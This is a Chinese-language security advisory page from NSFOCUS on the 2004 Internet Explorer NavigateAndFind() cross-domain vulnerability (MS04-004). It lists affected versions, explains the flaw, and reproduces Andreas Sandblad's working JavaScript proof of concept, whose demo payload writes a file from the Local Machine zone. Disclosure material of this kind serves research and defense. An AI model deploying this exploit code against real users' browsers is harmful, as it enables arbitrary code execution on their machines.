NSFOCUS绿盟科技

首页 -> 安全研究

安全研究

安全漏洞

Microsoft Internet Explorer NavigateAndFind()跨域策略漏洞（MS04-004）

发布日期：2004-02-03
更新日期：2004-02-11

受影响系统：

Microsoft Internet Explorer 6.0SP1
Microsoft Internet Explorer 5.5SP2
Microsoft Internet Explorer 5.5SP1
Microsoft Internet Explorer 5.5
Microsoft Internet Explorer 5.01
Microsoft Internet Explorer 5.0.1SP3
Microsoft Internet Explorer 5.0.1SP2
Microsoft Internet Explorer 5.0.1SP1
Microsoft Internet Explorer 6.0
    - Microsoft Windows XP
    - Microsoft Windows NT 4.0
    - Microsoft Windows ME
    - Microsoft Windows 98
    - Microsoft Windows 95
    - Microsoft Windows 2000 SP3

描述：

BUGTRAQ  ID: 9568
CVE(CAN) ID: CVE-2003-1026

Microsoft Internet Explorer是一款流行的WEB浏览器。

Microsoft Internet Explorer在部分环境下没有从浏览器历史列表中删除JAVASCRIPT，远程攻击者可以利用这个漏洞绕过域策略，以本地机器权限执行任意脚本。

Internet Explorer包含的跨域安全模型存在一个漏洞。Internet Explorer的跨域安全模型使不同域窗口共享信息。MSIE一般情况下会尝试删除历史列表中的Javascript URLS，但在部分条件下却可能失败。使用external.NavigateAndFind('res:','','')从一Javascript URL中链接一资源，这里'res:'重定向到本地电脑域，那么返回到Javascript URL就会以本地域权限采用并执行。

攻击者必须构建恶意链接，或恶意HTML形式EMAIL，诱使用户访问，来触发此漏洞。

<*来源：Andreas Sandblad （sandblad@acc.umu.se）

  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=107584480026576&w=2
        http://www.microsoft.com/technet/security/bulletin/MS04-004.asp
*>

测试方法：

警告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

Andreas Sandblad （sandblad@acc.umu.se）提供了如下测试方法：

// Andreas Sandblad, 2004-02-03, patched by MS04-004

// Name: payload
// Purpose: Run payload code called from Local Machine zone.
// The code may be arbitrary such as executing shell commands.
// This demo simply creates a harmless textfile on the desktop.
function payload() {
file = "sandblad.txt";
o = new ActiveXObject("ADODB.Stream");
o.Open();
o.Type=2;
o.Charset="ascii";
o.WriteText("You are vulnerable!");
o.SaveToFile(file, 2);
o.Close();
alert("File "+file+" created on desktop!");
}

// Name: trigger
// Purpose: Inject javascript url in history list and run payload
// function when the user hits the backbutton.
function trigger(len) {
if (history.length != len)
payload();
else
return "<title>-</title><body
onload=external.NavigateAndFind('res:','','')>";
}

// Name: backbutton
// Purpose: Run backbutton exploit.
function backbutton() {
location = 'javascript:'+trigger+payload+'trigger('+history.length+')';
}

// Launch backbutton exploit on load
if (confirm("Press OK to run backbutton exploit!"))
backbutton();

建议：

关于我们: 公司介绍; 公司荣誉; 公司新闻

联系我们: 公司总部; 分支机构; 海外机构

快速链接: 绿盟云; 绿盟威胁情报中心NTI; 技术博客